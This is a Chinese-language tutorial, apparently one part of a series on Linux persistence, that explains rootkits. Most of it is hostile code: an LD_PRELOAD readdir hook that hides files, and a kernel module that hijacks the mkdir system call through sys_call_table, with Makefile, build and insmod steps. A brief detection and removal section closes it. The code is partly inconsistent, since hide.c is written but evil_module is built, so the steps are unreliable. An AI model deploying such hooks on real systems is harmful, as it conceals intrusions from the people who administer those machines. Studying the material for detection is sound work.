Linux权限维持（七）：内核级后门——Rootkit

【正常情况】
你执行 ls
    │
    ▼
ls 程序调用 readdir() 函数
    │
    ▼
内核读取目录，返回所有文件名
    │
    ▼
屏幕上显示：file1.txt  file2.txt  secret.txt

【被 Rootkit 劫持后】
你执行 ls
    │
    ▼
ls 程序调用 readdir() 函数
    │
    ▼
【Rootkit 在这里拦截】
    │
    ├──→ 检查文件名是不是 "secret.txt"
    │
    ├──→ 如果是 → 跳过，不返回（假装不存在）
    │
    └──→ 如果不是 → 正常返回
    │
    ▼
屏幕上显示：file1.txt  file2.txt
（secret.txt 被隐藏了，但实际还在）

cat > hide.c << 'EOF'
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>

struct dirent *readdir(DIR *dirp) {
    struct dirent *(*original_readdir)(DIR *) = dlsym(RTLD_NEXT, "readdir");
    struct dirent *dir;
    
    while ((dir = original_readdir(dirp)) != NULL) {
        if (strstr(dir->d_name, "hidden_secret") != NULL) {
            continue;
        }
        return dir;
    }
    return NULL;
}
EOF

程序调用 readdir()
        │
        ▼
执行恶意 readdir()
        │
        ▼
调用真正的 readdir() 获取文件名
        │
        ▼
文件名包含 "hidden_secret"？
        │
        ├── 是 → 跳过，继续读下一个（不返回）
        │
        └── 否 → 返回文件名（正常显示）

用户程序（如 ls）调用 readdir()
        │
        ▼
┌─────────────────────────────────────────────┐
│              系统调用表（内核态）              │
│  ┌─────────────────────────────────────────┐│
│  │ sys_call_table[READDIR] = 原始_readdir  ││
│  └─────────────────────────────────────────┘│
│                    │                         │
│                    ▼                         │
│          执行真正的 readdir 功能              │
└─────────────────────────────────────────────┘

【Rootkit 修改后】
┌─────────────────────────────────────────────┐
│              系统调用表（内核态）              │
│  ┌─────────────────────────────────────────┐│
│  │ sys_call_table[READDIR] = 恶意_readdir  ││ ← 被改了
│  └─────────────────────────────────────────┘│
│                    │                         │
│                    ▼                         │
│          先执行恶意代码（过滤隐藏）            │
│                    │                         │
│                    ▼                         │
│          再调用原始_readdir                   │
└─────────────────────────────────────────────┘

cat > hide.c << 'EOF'
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/kallsyms.h>
#include <linux/syscalls.h>

// ========== 保存原始系统调用 ==========
asmlinkage int (*original_mkdir)(const char __user *pathname, umode_t mode);

// ========== 劫持后的 mkdir ==========
asmlinkage int hooked_mkdir(const char __user *pathname, umode_t mode) {
    
    if (strstr(pathname, "DO_NOT_CREATE") != NULL) {
        printk(KERN_INFO "Rootkit: 阻止创建目录 %s\n", pathname);
        return 0;
    }
    
    return original_mkdir(pathname, mode);
}

// ========== 模块初始化（加载时执行） ==========
static int __init evil_init(void) {
    unsigned long *sys_call_table = (unsigned long *)kallsyms_lookup_name("sys_call_table");
    
    original_mkdir = (void *)sys_call_table[__NR_mkdir];
    sys_call_table[__NR_mkdir] = (unsigned long)hooked_mkdir;
    
    printk(KERN_INFO "Rootkit: 已加载，mkdir 系统调用已被劫持\n");
    return 0;
}

// ========== 模块退出（卸载时执行） ==========
static void __exit evil_exit(void) {
    unsigned long *sys_call_table = (unsigned long *)kallsyms_lookup_name("sys_call_table");
    
    sys_call_table[__NR_mkdir] = (unsigned long)original_mkdir;
    
    printk(KERN_INFO "Rootkit: 已卸载，mkdir 系统调用已恢复\n");
}

module_init(evil_init);
module_exit(evil_exit);

MODULE_LICENSE("GPL");

# 1. 创建 Makefile
cat > Makefile << 'EOF'
obj-m += evil_module.o

all:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
EOF

# 2. 安装内核开发包（编译模块需要）
dnf install kernel-devel-$(uname -r) gcc make -y

# 3. 编译
make

# 4. 加载恶意模块（需要 root）
insmod evil_module.ko

# 5. 验证：模块已加载
lsmod | grep evil_module

# 6. 测试劫持效果
mkdir /tmp/DO_NOT_CREATE_test
# 这个目录应该不会被创建（被劫持了）
ls -la /tmp/ | grep DO_NOT_CREATE
# 输出：空

# 7. 正常目录不受影响
mkdir /tmp/normal_test
ls -la /tmp/ | grep normal_test
# 输出：drwxr-xr-x ... normal_test

# 1. 检查已加载的模块
lsmod
cat /proc/modules
# 对比两者数量（如果有模块被隐藏，数量会不一致）

# 2. 使用离线扫描（最可靠）
# 用 Live CD/USB 启动，挂载原系统盘
# 此时 Rootkit 未被加载，真相大白

# 3. 检查内核日志是否有异常
dmesg | tail -50

# 4. 如果怀疑，重启后用 Live CD 检查

# 1. 卸载恶意模块（如果知道模块名）
rmmod evil_module

# 2. 如果看不到模块（被隐藏了），重启系统
reboot

# 3. 重启后用工具扫描
rkhunter --check